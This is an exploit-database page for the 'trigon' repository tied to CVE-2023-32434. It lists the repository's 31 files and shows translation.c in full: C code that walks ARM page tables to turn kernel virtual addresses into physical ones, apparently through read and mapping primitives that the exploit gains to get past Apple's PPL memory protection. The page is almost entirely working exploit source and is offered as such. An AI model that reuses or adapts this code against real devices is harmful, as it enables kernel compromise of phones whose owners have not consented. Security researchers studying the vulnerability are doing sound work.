Exploit databaseDownload repository ZIP
GH-20532f2fb832f988892dc99e722c2320
alfiecg24/trigon
Sources for CVE-2023-32434
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files31
alfiecg24/trigonRevision 82d802e119c2
- ↑..Parent directory
- agx.c
- agx.h
- aop.S
- aop.c
- aop.h
- exploit.c
- exploit.h
- iboot-handoff.c
- iboot-handoff.h
- info.c
- info.h
- mach_vm.h
- memory.c
- memory.h
- pac.h
- patchfinder.c
- patchfinder.h
- pp_attr.c
- pp_attr.h
- primitives.c
- primitives.h
- pv_head.c
- pv_head.h
- socket.c
- socket.h
- surface.c
- surface.h
- translation.c
- translation.h
- unique_offsets.c
- unique_offsets.h
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Trigon/Exploit/translation.c
C · 2,913 bytes// translation.c
// Trigon, 2025
#include "translation.h"
#include "memory.h"
#include "info.h"
#define ARM_TTE_PA_MASK 0x0000FFFFFFFFF000ull
#define PTE_TO_PA(pte) ((pte) & ARM_TTE_PA_MASK)
uint64_t vtophys(uint64_t va, uint64_t ttep) {
uint64_t l1Index = (va >> 36) & 7;
uint64_t l1Entry = physread64_ppl(ttep + (l1Index * sizeof(uint64_t)));
if ((l1Entry & 3) != 3) return 0;
uint64_t l2Table = l1Entry & 0xFFFFFFFFC000;
uint64_t l2Index = (va >> 25) & 0x7FF;
uint64_t l2Entry = physread64_ppl(l2Table + (l2Index * sizeof(uint64_t)));
if ((l2Entry & 3) == 1) return PTE_TO_PA(l2Entry) | (va & 0x1FFFFFF);
if ((l2Entry & 3) == 3) {
uint64_t l3Table = l2Entry & 0xFFFFFFFFC000;
uint64_t l3Index = (va >> 14) & 0x7FF;
uint64_t l3Entry = physread64_ppl(l3Table + (l3Index * sizeof(uint64_t)));
// Should always be a block mapping
if ((l3Entry & 3) != 3) return 0;
return PTE_TO_PA(l3Entry) | pageoff(va);
}
return 0;
}
uint64_t kvtophys_no_ppl(uint64_t va) {
return vtophys(va, gDeviceInfo.cpu_ttep);
}
uint64_t vtophys_ppl(uint64_t ttep, uint64_t va) {
uint64_t l1Index = (va >> 36) & 7;
uint64_t l2Index = (va >> 25) & 0x7FF;
uint64_t l3Index = (va >> 14) & 0x7FF;
__block uint64_t l1Entry, l2Entry, l3Entry;
map_page_ppl_blocked(page(ttep), ^(uint64_t mapped) {
l1Entry = *(uint64_t *)(mapped + pageoff(ttep) + (l1Index * sizeof(uint64_t)));
});
if ((l1Entry & 3) != 3) return 0;
uint64_t l2Table = l1Entry & 0xFFFFFFFFC000;
map_page_ppl_blocked(l2Table, ^(uint64_t mapped) {
l2Entry = *(uint64_t *)(mapped + (l2Index * sizeof(uint64_t)));
});
if ((l2Entry & 3) == 1) return PTE_TO_PA(l2Entry) | (va & 0x1FFFFFF);
uint64_t l3Table = l2Entry & 0xFFFFFFFFC000;
map_page_ppl_blocked(l3Table, ^(uint64_t mapped) {
l3Entry = *(uint64_t *)(mapped + (l3Index * sizeof(uint64_t)));
});
return PTE_TO_PA(l3Entry) | pageoff(va);
}
uint64_t kvtophys_ppl(uint64_t va) {
return vtophys_ppl(gDeviceInfo.cpu_ttep, va);
}
uint64_t vtophys_get_pte_ppl(uint64_t ttep, uint64_t va) {
uint64_t l1Index = (va >> 36) & 7;
uint64_t l2Index = (va >> 25) & 0x7FF;
uint64_t l3Index = (va >> 14) & 0x7FF;
__block uint64_t l1Entry, l2Entry;
map_page_ppl_blocked(page(ttep), ^(uint64_t mapped) {
l1Entry = *(uint64_t *)(mapped + pageoff(ttep) + (l1Index * sizeof(uint64_t)));
});
if ((l1Entry & 3) != 3) return 0;
uint64_t l2Table = l1Entry & 0xFFFFFFFFC000;
map_page_ppl_blocked(l2Table, ^(uint64_t mapped) {
l2Entry = *(uint64_t *)(mapped + (l2Index * sizeof(uint64_t)));
});
if ((l2Entry & 3) == 1) return 0;
uint64_t l3Table = l2Entry & 0xFFFFFFFFC000;
return l3Table + (l3Index * sizeof(uint64_t));
}